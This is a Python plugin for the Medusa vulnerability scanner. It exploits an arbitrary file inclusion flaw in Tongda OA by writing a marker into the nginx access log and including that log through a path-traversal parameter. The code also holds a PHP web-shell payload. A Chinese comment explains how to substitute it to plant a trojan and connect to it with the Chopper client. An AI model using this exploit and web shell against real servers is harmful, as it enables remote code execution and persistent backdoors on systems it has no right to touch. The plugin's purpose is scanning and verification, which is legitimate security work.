#!/usr/bin/env python
# -*- coding: utf-8 -*-
__author__ = 'Ascotbe'
from ClassCongregation import VulnerabilityDetails, UrlProcessing, ErrorLog, WriteFile, randoms,ErrorHandling
import requests
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class VulnerabilityInfo(object):
    def __init__(self, Medusa):
        self.info = {}
        self.info['number'] = "0"  # 如果没有CVE或者CNVD编号就填0，CVE编号优先级大于CNVD
        self.info['author'] = "Ascotbe"  # 插件作者
        self.info['create_date'] = "2020-3-18"  # 插件编辑时间
        self.info['disclosure'] = '2020-3-17'  # 漏洞披露时间，如果不知道就写编写插件的时间
        self.info['algroup'] = "TongdaOfficeAnywhereArbitraryFileContainsVulnerabilities"  # 插件名称
        self.info['name'] = '通达OA任意文件包含漏洞'  # 漏洞名称
        self.info['affects'] = "通达OA"  # 漏洞组件
        self.info['desc_content'] = "通达OA中出现了/ispirit/interface/gateway.php这个路径，可以任意文件写入。"  # 漏洞描述
        self.info['rank'] = "高危"  # 漏洞等级
        self.info['version'] = "V11版\r\n2017版\r\n2016版\r\n2015版\r\n2013增强版\r\n2013版"  # 这边填漏洞影响的版本
        self.info['suggest'] = "升级通达OA最新版本"  # 修复建议
        self.info['details'] = Medusa  # 结果


def medusa(**kwargs)->None:
    url = kwargs.get("Url")  # 获取传入的url参数
    Headers = kwargs.get("Headers")  # 获取传入的头文件
    proxies = kwargs.get("Proxies")  # 获取传入的代理参数
    try:
        rm = "MedusaTextPoc" + randoms().result(20)  # 获取随机数
        payload_shell = "/ispirit/interface/gateway.php?<?php @eval($_POST[pass]);?>"
        payload_rm=rm + "MedusaScanTestPoc"
        payload_test = "/ispirit/interface/gateway.php?"+payload_rm
        #会把问好后面的内容写入到oa.access.log文件中，可以自定义文件
        payload = "/ispirit/interface/gateway.php?json={}&url=../../ispirit/../../nginx/logs/oa.access.log"
        payload_url = url + payload
        payload_test_url = url + payload_test

        #把随机数写到log文件中想要写入木马把payload_test替换成payload_shell即可，用菜刀连接payload_url这个连接即可，需要改成GBK
        resp = requests.get(payload_test_url , headers=Headers, proxies=proxies,timeout=6, verify=False)
        #请求文件查看是否成功，是否写入
        resp2 = requests.get(payload_url , headers=Headers, proxies=proxies,timeout=6, verify=False)
        con = resp2.text
        code2 = resp2.status_code
        code = resp.status_code
        if code == 200 and code2==200 and con.find(rm) != -1:
            Medusa = "{}存在通达OA任意文件上传和文件包含漏洞\r\n验证数据:\r\n读取文件位置:{}\r\n文件返回内容:{}\r\n".format(url,payload_url, con)
            _t = VulnerabilityInfo(Medusa)
            VulnerabilityDetails(_t.info, resp, **kwargs).Write()  # 传入url和扫描到的数据
            WriteFile().result(str(url), str(Medusa))  # 写入文件，url为目标文件名统一传入，Medusa为结果
    except Exception as e:
        _ = VulnerabilityInfo('').info.get('algroup')
        ErrorHandling().Outlier(e, _)
        _l = ErrorLog().Write("Plugin Name:"+_+" || Target Url:"+url,e)#调用写入类
